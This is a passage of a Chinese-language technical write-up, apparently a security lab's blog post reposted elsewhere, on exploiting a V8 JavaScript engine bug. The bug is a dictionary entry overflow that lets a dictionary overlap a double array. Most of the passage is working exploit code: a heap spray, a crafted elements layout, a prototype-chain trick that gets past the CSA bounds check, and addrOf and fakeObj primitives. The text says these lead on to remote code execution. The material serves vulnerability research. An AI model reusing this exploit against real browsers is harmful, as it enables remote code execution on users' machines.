print("====== try to read obj[0xDD]");
%SystemBreak();

SMI数组ptr使用最低1bit进行区分, 所以没法直接混淆, 可以让arr变成double array, 这样就可以完全控制一个Word中的所有bit, 完成double和TaggedPtr之间的混淆

总结: 虽然Entry溢出没法直接溢出到JSArray, Map等对象的关键字段, 但是可以直接使得job(obj)->elementsDictionArray对象与job(arr)->elementsFixedDoubleArray对象重叠, 这样就可以实现对于相同内存数据的不同解释方式:

  • job(obj)->elements认为Entry的key为TaggedPtr表示方式, 如果末尾1bit为1就会解释为js对象
  • job(arr)->elements认为内部是64字节的Double数据, 会将其作为纯数据控制

进一步的

  • addrOf()原语

    • obj[0xDD] = {}相当于在job(obj)->elements.entry[7].value中对象指针
    • 读入arr[3]相当于把job(arr)->elements[3]中的数据当做浮点数读出来
    • 由于对象重叠job(arr)->elements[3]job(obj)->elements.entry[7].value实际上是同一个内存地址, 这就可以泄露对象指针
  • fakeObj()原语: 思路是一样的, 先arr[3]=...以浮点数的方式写入数据, 然后obj[0xDD]将其作为对象指针读出来

3.3.3 绕过CSA CHECK

实测发现无法通过伪造capacity字段进行越界
伪造NumberDictionary::capacity字段的方式无法实现数组越界, 因为每次从job(obj)->elements中加载元素时总会与job(obj)->elements->length字段进行检查

1
2
3
4
5
6
7
8
9
10
11
12
13
template <typename TIndex>
TNode<Object> CodeStubAssembler::LoadFixedArrayElement(
TNode<FixedArray> object, TNode<TIndex> index, int additional_offset,
CheckBounds check_bounds) {
...

if (NeedsBoundsCheck(check_bounds)) { // Always
FixedArrayBoundsCheck(object, index, additional_offset);
}
TNode<MaybeObject> element = LoadArrayElement(object, FixedArray::kHeaderSize,
index, additional_offset);
return CAST(element);
}

后续发现: 也就是说DictionaryNumber的读走的是CSA编写的方法, 这会进行字段的检查, 但是DictionaryNumber的写入走的是Runtime方法, Runtime方法并没有进行Elements数组边界检查, 这启发我们: 能否让DictionaryNumber的读操作也走Runtime方法, 以绕过CAS的CHECK检查

检查一下CSA实现的DictionaryNumber的Load的逻辑, 看一下怎么使其进入Runtime的处理方法

KeyedLoadIC_Megamorphic()会调用到KeyedLoadICGeneric(), KeyedLoadICGeneric():

  • 首先调用TryToName()转换var_name, "0"可以转换为索引, 所以会进入if_index分支
  • if_index分支中会调用GenericElementLoad()NumbericDictionary中根据index搜索对应的值, 如果搜索失败则进入if_runtime分支
  • if_runtime分支会调用runtime方法GetProperty()进行处理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void AccessorAssembler::KeyedLoadICGeneric(const LoadICParameters* p) {
TVARIABLE(Object, var_name, p->name());
Label if_runtime(this, Label::kDeferred);
TNode<Object> lookup_start_object = p->lookup_start_object();

GotoIf(TaggedIsSmi(lookup_start_object), &if_runtime);
GotoIf(IsNullOrUndefined(lookup_start_object), &if_runtime);

{
TVARIABLE(IntPtrT, var_index);
TVARIABLE(Name, var_unique);
Label if_index(this), if_unique_name(this, &var_name), if_notunique(this), if_other(this, Label::kDeferred);


TryToName(var_name.value(), &if_index, &var_index, &if_unique_name, &var_unique, &if_other, &if_notunique);
...

BIND(&if_index);
{
Print("if_index");
TNode<Map> lookup_start_object_map = LoadMap(CAST(lookup_start_object));
GenericElementLoad(CAST(lookup_start_object), lookup_start_object_map,
LoadMapInstanceType(lookup_start_object_map),
var_index.value(), &if_runtime);
}
}

BIND(&if_runtime);
{

TailCallRuntime(Runtime::kGetProperty, p->context(), p->receiver_and_lookup_start_object(), var_name.value());
}
}

注意:

  • js中一个对象可以访问的属性除了自身内部定义的属性外, 还有其整个原型链上定义的属性, 都是可读写的

  • 比如obj[0xDD]

    • KeyedLoadICGeneric()if_index分支, 就专门用于在job(obj)->elements中搜索0xDD对应的属性, 如果job(obj)->elements中不存在那么就会进入if_runtime分支
    • if_runtime分支会调用Runtime方法GetProperty, GetProperty则是严格按照js中属性访问的定义来实现的, 如果job(obj)->elements中不存在, 还会搜索job(obj)->properties, 并沿着原型链job(obj)->map->prototype指向的对象进行搜索
    • 也就是说: fast_path只会搜索对象自身, slow_path会沿着整个原型链进行完整的搜索

因此, 直接访问obj[0xDD]会命中CSA中的检查, 但是使用原型对象中转一下就可以实现通过Runtime路径完成读写obj[0xDD]这个属性

POC如下

  • obj2只是一个普通的JS_OBJECT对象, 自身没有任何属性, 因此KeyedLoadICGeneric()在处理obj2[0xDD]时是无法在job(obj2)->elements中找到这个属性, 因此会进入if_runtime分支
  • if_runtime分支的GetProperty()方法沿着原型链寻找, 最终在job(obj)->elements中找到0xDD对应的属性值, 在读入时runtime方法的get()并不会检查是否超过了job(obj)->elements->length由此完成越界读写
1
2
3
4
5
6
let obj2 = {};
obj2.__proto__ = obj;
%DebugPrint(obj2);
print("====== try to read obj[0xDD]");
print("====> "+ obj2[0xDD]);
print("====== try to read obj[0xDD]");

这也addrOf与fakeObj原语就齐全了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178


var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}

function itof(i)
{
bigUint64[0] = i;
return f64[0];
}

function utof(lo, hi) {
u32[0] = Number(lo);
u32[1] = Number(hi);
return f64[0];
}

function ftou(v) {
f64[0] = v;
return u32;
}

function hex(i)
{
return "0x"+i.toString(16).padStart(16, "0");
}




let obj = Object;



Object.__proto__["aaa"] = 123;


let spray_obj_arr = [];
function heap_spray(cnt){
for(let i=0; i<cnt; i++) {
if(i%5000==0)
print("heap spray ============> " + i);










let o = function (){};






o["CanBeDeprecated"] = i;








for(let i=0; i<16; i++) {
o[i*1000] = i;
}
spray_obj_arr.push(o);
}
}
heap_spray(37000);




obj[0] = 0x7;
obj[1] = 0x0;
obj[2] = 0x8;
obj[3] = 0x100;


for(let entry=0; entry<4; entry++){
obj[4+entry*3+0] = entry;
obj[4+entry*3+1] = 0x0;
obj[4+entry*3+2] = 0x0;
}
obj[4+4*3+0] = 0xCC>>1;




let arr = [





0.0,




0.0,




0.0,




2.184e-321,




0.0,
];




for (let i = 0; i < 3; i++) {
print("add property ============> " + i);
obj["p" + i] = i;
}




print("====== try to store obj[0xDD]");


obj[0xDD] = 0xdead;
if(arr[3]!=2.41928740128169e-309) {
throw("sad, heap spray may fail");
}
print("NICE: heap spary success, obj[0xDD] overlaps arr[3]");

function addrOf(obj_to_leak) {


obj[0xDD] = obj_to_leak;


return ftoi(arr[3])>>32n;
}

function fakeObj(addr) {

arr[3] = utof(
0xDD<<1,
addr
);




let obj_agent = {};
obj_agent.__proto__ = obj;


return obj_agent[0xDD];
}


4. 漏洞利用展示

有了addrOf与fakeObj原语后, 还需要通过shellcode偷渡技术来绕过CFI保护(使用PKEY禁止写入rwx页), 本exp并未绕过v8 heap sandbox, 最终利用效果如下

image


文章来源: https://dawnslab.jd.com/v8_feedback_normalization_RCE/
如有侵权请联系:admin#unsafe.sh